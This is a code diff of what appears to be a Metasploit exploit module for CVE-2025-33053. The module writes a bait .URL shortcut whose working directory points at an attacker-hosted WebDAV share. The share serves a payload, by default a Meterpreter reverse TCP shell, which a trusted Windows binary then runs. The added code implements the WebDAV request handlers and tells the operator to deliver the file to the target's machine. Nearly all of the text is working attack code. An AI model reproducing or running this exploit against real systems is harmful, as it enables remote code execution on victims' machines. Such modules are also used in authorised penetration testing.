1- # frozen_string_literal: true
1+ ##
2+ # This module requires Metasploit: https://metasploit.com/download
3+ # Current source: https://github.com/rapid7/metasploit-framework
4+ ##
25
3- # Metasploit module to exploit CVE-2025-33053 via malicious .URL and WebDAV payload hosting.
46class MetasploitModule < Msf ::Exploit ::Remote
57 Rank = NormalRanking
68
9+ include Msf ::Exploit ::Remote ::HttpServer
10+ include Msf ::Exploit ::FILEFORMAT
11+
712 def initialize ( info = { } )
813 super (
914 update_info (
@@ -17,7 +22,11 @@ def initialize(info = {})
1722 potentially resulting in remote code execution via a trusted binary.
1823 } ,
1924
20- 'Author' => [ 'Dev Bui Hieu' ] ,
25+ 'Author' => [
26+ 'Alexandra Gofman' , # vuln research
27+ 'David Driker' , # vuln research
28+ 'Dev Bui Hieu' # module dev
29+ ] ,
2130 'License' => MSF_LICENSE ,
2231 'DisclosureDate' => '2025-06-11' ,
2332 'References' => [
@@ -38,12 +47,13 @@ def initialize(info = {})
3847
3948 register_options (
4049 [
50+ OptString . new ( 'URIPATH' , [ true , 'The URI to use (do not change)' , '/' ] ) ,
4151 OptString . new ( 'OUTFILE' , [ true , 'Output URL file name' , 'bait.url' ] ) ,
4252 OptString . new ( 'PAYLOAD_NAME' , [ true , 'Output payload file name' , 'route.exe' ] ) ,
4353 OptString . new ( 'PAYLOAD' , [ true , 'Payload to generate' , 'windows/x64/meterpreter/reverse_tcp' ] ) ,
4454 OptBool . new ( 'GEN_PAYLOAD' , [ true , 'Generate payload and move to WebDAV directory' , true ] ) ,
4555 OptString . new ( 'WEBDAV_DIR' , [ true , 'WebDAV directory path' , '/var/www/webdav' ] )
46- ]
56+ ] , self . class
4757 )
4858 register_advanced_options (
4959 [
@@ -57,64 +67,51 @@ def initialize(info = {})
5767 )
5868 end
5969
60- def exploit
61- prepare_webdav_dir
62- generate_payload_if_needed
63- write_url_file
64- print_status ( "Module complete. Deliver #{ File . expand_path ( datastore [ 'OUTFILE' ] ) } to victim." )
65- end
66-
67- def prepare_webdav_dir
68- print_status ( 'Creating WebDAV directory if not exists...' )
69- FileUtils . mkdir_p ( datastore [ 'WEBDAV_DIR' ] ) unless File . directory? ( datastore [ 'WEBDAV_DIR' ] )
70- rescue Errno ::EACCES
71- fail_with ( Failure ::NoAccess ,
72- "Cannot create WebDAV directory. Permission denied.\n " \
73- "Try restarting Metasploit with sudo or change ownership of #{ datastore [ 'WEBDAV_DIR' ] } ." )
74- end
75-
76- def generate_payload_if_needed
77- return unless datastore [ 'GEN_PAYLOAD' ]
78-
79- exe_path = File . join ( datastore [ 'WEBDAV_DIR' ] , datastore [ 'PAYLOAD_NAME' ] )
80- print_status ( 'Generating payload...' )
81- generate_payload_exe ( datastore [ 'PAYLOAD' ] , datastore [ 'LHOST' ] , datastore [ 'LPORT' ] , exe_path )
82- end
83-
84- def generate_payload_exe ( payload_name , lhost , lport , output_path )
85- payload = framework . payloads . create ( payload_name . to_s . strip )
86- payload . datastore [ 'LHOST' ] = lhost
87- payload . datastore [ 'LPORT' ] = lport
88- raw = payload . generate
89- exe = Msf ::Util ::EXE . to_win32pe ( framework , raw )
90- write_exe_file ( output_path , exe )
70+ def on_request_uri ( cli , request )
71+ print_status ( 'Got request' )
72+ case request . method
73+ when 'OPTIONS'
74+ print_status ( '[+] Got OPTIONS request' )
75+ process_options ( cli , request )
76+ when 'PROPFIND'
77+ print_status ( '[+] Got PROPFIND request' )
78+ process_propfind ( cli , request )
79+ when 'GET'
80+ print_status ( '[+] Got GET request' )
81+ process_get ( cli , request )
82+ else
83+ process_ignore ( cli , request )
84+ end
9185 end
9286
93- def write_exe_file ( path , exe )
94- File . open ( path , 'wb' ) { |f | f . write ( exe ) }
95- print_good ( "Payload successfully written to #{ path } " )
96- rescue Errno ::EACCES
97- return_error ( path )
87+ def primer
88+ webdav = '\\\\'
89+ if datastore [ 'SSL' ]
90+ if datastore [ 'SRVPORT' ] != 443
91+ fail_with ( Failure ::BadConfig , 'SRVPORT must be 443' )
92+ end
93+ webdav = "#{ datastore [ 'SRVHOST' ] } @ssl"
94+ else
95+ webdav = "#{ datastore [ 'SRVHOST' ] } @#{ datastore [ 'SRVPORT' ] } "
96+ end
97+ webdav_unc = %(#{ webdav } \\ webdav\\ )
98+ print_status ( "[+] WebDAV running at #{ webdav_unc } " )
99+ write_url_file ( webdav_unc )
98100 end
99101
100- def write_url_file
101- content = generate_url_content
102- outfile = datastore [ 'OUTFILE' ]
103- begin
104- print_status ( 'Generating .URL file...' )
105- File . write ( outfile , content )
106- print_good ( ".URL file written to: #{ outfile } " )
107- rescue Errno ::EACCES
108- return_error ( File . expand_path ( outfile ) )
109- end
102+ def write_url_file ( webdav_unc )
103+ content = generate_url_content ( webdav_unc )
104+ outfile = %(#{ Rex ::Text . rand_text_alphanumeric ( 8 ) } .url)
105+ path = store_local ( 'webdav.url' , nil , content , outfile )
106+ print_status ( "[+] URL file: #{ path } , deliver to target's machine" )
107+ print_status ( "[+] Run following: curl http://#{ datastore [ 'SRVHOST' ] } :8080/#{ outfile } -o #{ outfile } " )
110108 end
111109
112- def generate_url_content
113- unc_path = "\\ \\ #{ datastore [ 'LHOST' ] } \\ #{ File . basename ( datastore [ 'WEBDAV_DIR' ] ) } \\ "
110+ def generate_url_content ( webdav_unc )
114111 <<~URLFILE
115112 [InternetShortcut]
116113 URL=#{ datastore [ 'LOLBAS_EXE' ] }
117- WorkingDirectory=#{ unc_path }
114+ WorkingDirectory=#{ webdav_unc }
118115 ShowCommand=7
119116 IconIndex=#{ datastore [ 'ICON_INDEX' ] }
120117 IconFile=#{ datastore [ 'ICON_PATH' ] }
0 commit comments